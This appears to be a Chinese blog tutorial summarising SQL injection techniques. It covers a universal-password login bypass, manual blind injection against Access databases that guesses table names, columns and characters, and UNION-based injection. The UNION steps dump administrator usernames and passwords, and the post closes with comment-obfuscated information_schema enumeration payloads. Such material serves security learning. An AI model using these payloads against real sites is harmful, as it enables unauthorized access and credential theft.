SQL注入总结(一)

sql注入

注入的分类—仁者见仁,智者见智。

  1. 万能密码注入
    用户进行用户名和密码验证是,网站需要查询数据库。查询数据库就是执行SQL语句。
    当用户登录时,后台执行的数据库查询操作(sql语句)是【Select user_id,user_type,email Fromusers Where user_id=’ 用户名‘ And password=’ 密码’】.
    由于网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名为【admin】和万能密码【2‘ or 1】时,执行的sql语句为【Select user_id,user_type,email Fromusers Where user_id=’ admin’ And password=’ 2’ or‘ 1’ 】。同时,由于sql语句中逻辑运算符具有优先级,【=】优先于【and】,【and】优先于【or】,且适用传递性。因此,此sql语句在后台解析时,分成两句【Select user_id,user_type,email Fromusers Where user_id=’ admin’ And password=’ 2’】【’ 1‘ 】,两句bool值进行逻辑or运算,恒威TRUE。Sql语句的查询结果为ture,就意味着认证成功,也可以成功登录到系统中。
  2. 手工注入access库
    所谓sql注入,就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql命令。
    首先,在以【.asp?id=32(数字任意)】结尾的链接依次添加语句【‘】【and 1=1】【and 1=2】,来判断网站是否存在注入点。
    然后,添加语句【and exists(select*from admin)】,根据页面返回结果来猜解表明。
    再次,添加语句【and exists(select admin from admin)】,来猜解admin表中的列名admin。
    最后添加语句and (select top 1 len (admin) from admin)>1,来猜解字段长度:添加【and (select top 1 asc(mid(admin,1,1)) from admin)>97】,来猜解字段中字符的ASCII码。
    通过以上四个步骤,反复猜解,即可得到数据库存储的用户名和密码
  3. 手工联合查询注入技术
    首先,在链接后面添加语句【 order by 11 (数字任意)】,根据页面返回结果,来判断站点中的字段数目。
    然后,在链接后面添加语句【 union select 1,2,3,4,5,6,7,8,9,10,11 from admin (表名)】,进行联合查询,来暴露可查询的字段编号。
    最好,根据上一步得到的字段标号,添加语句【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】,直接暴露管理员用户名和密码

1’//union//select//schema_name//from//information_schema.schemata//where/**/’1’=’1 查看数据库
1’//union//select//table_name//from//information_schema.tables//where/**/’1’=’1 插卡有哪些表
1’//union//select//column_name//from//information_schema.columns//where/**/’1’=’1 查看有那些列
union select 1,database()%23查询数据库
%23 为url编码下的# %20为空格 %00截断

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值